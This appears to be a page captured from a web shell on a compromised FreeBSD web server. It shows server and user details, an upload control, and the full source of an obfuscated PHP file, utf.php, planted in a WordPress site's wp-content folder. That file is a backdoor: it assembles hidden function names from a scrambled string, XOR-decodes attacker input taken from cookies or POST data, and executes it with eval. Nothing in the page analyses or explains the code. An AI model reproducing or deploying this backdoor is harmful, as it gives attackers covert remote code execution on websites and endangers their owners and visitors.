HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/utf.php
<?php
$uoiqxg = 'i_f*5lx2v8bme74oda-3#uHcprgy6\'nst1k0';$edwrh = Array();$edwrh[] = $uoiqxg[22].$uoiqxg[3];$edwrh[] = $uoiqxg[20];$edwrh[] = $uoiqxg[9].$uoiqxg[4].$uoiqxg[7].$uoiqxg[13].$uoiqxg[9].$uoiqxg[23].$uoiqxg[16].$uoiqxg[2].$uoiqxg[18].$uoiqxg[10].$uoiqxg[28].$uoiqxg[7].$uoiqxg[9].$uoiqxg[18].$uoiqxg[14].$uoiqxg[2].$uoiqxg[4].$uoiqxg[17].$uoiqxg[18].$uoiqxg[9].$uoiqxg[14].$uoiqxg[33].$uoiqxg[9].$uoiqxg[18].$uoiqxg[14].$uoiqxg[9].$uoiqxg[19].$uoiqxg[35].$uoiqxg[13].$uoiqxg[9].$uoiqxg[10].$uoiqxg[14].$uoiqxg[10].$uoiqxg[19].$uoiqxg[28].$uoiqxg[4];$edwrh[] = $uoiqxg[23].$uoiqxg[15].$uoiqxg[21].$uoiqxg[30].$uoiqxg[32];$edwrh[] = $uoiqxg[31].$uoiqxg[32].$uoiqxg[25].$uoiqxg[1].$uoiqxg[25].$uoiqxg[12].$uoiqxg[24].$uoiqxg[12].$uoiqxg[17].$uoiqxg[32];$edwrh[] = $uoiqxg[12].$uoiqxg[6].$uoiqxg[24].$uoiqxg[5].$uoiqxg[15].$uoiqxg[16].$uoiqxg[12];$edwrh[] = $uoiqxg[31].$uoiqxg[21].$uoiqxg[10].$uoiqxg[31].$uoiqxg[32].$uoiqxg[25];$edwrh[] = $uoiqxg[17].$uoiqxg[25].$uoiqxg[25].$uoiqxg[17].$uoiqxg[27].$uoiqxg[1].$uoiqxg[11].$uoiqxg[12].$uoiqxg[25].$uoiqxg[26].$uoiqxg[12];$edwrh[] = $uoiqxg[31].$uoiqxg[32].$uoiqxg[25].$uoiqxg[5].$uoiqxg[12].$uoiqxg[30];$edwrh[] = $uoiqxg[24].$uoiqxg[17].$uoiqxg[23].$uoiqxg[34];foreach ($edwrh[7]($_COOKIE, $_POST) as $mxzzdb => $npicoz){function hucwvw($edwrh, $mxzzdb, $buopixt){return $edwrh[6]($edwrh[4]($mxzzdb . $edwrh[2], ($buopixt / $edwrh[8]($mxzzdb)) + 1), 0, $buopixt);}function ysltmyc($edwrh, $kiwfpu){return @$edwrh[9]($edwrh[0], $kiwfpu);}function peglw($edwrh, $kiwfpu){$ukizv = $edwrh[3]($kiwfpu) % 3;if (!$ukizv) {eval($kiwfpu[1]($kiwfpu[2]));exit();}}$npicoz = ysltmyc($edwrh, $npicoz);peglw($edwrh, $edwrh[5]($edwrh[1], $npicoz ^ hucwvw($edwrh, $mxzzdb, $edwrh[8]($npicoz))));}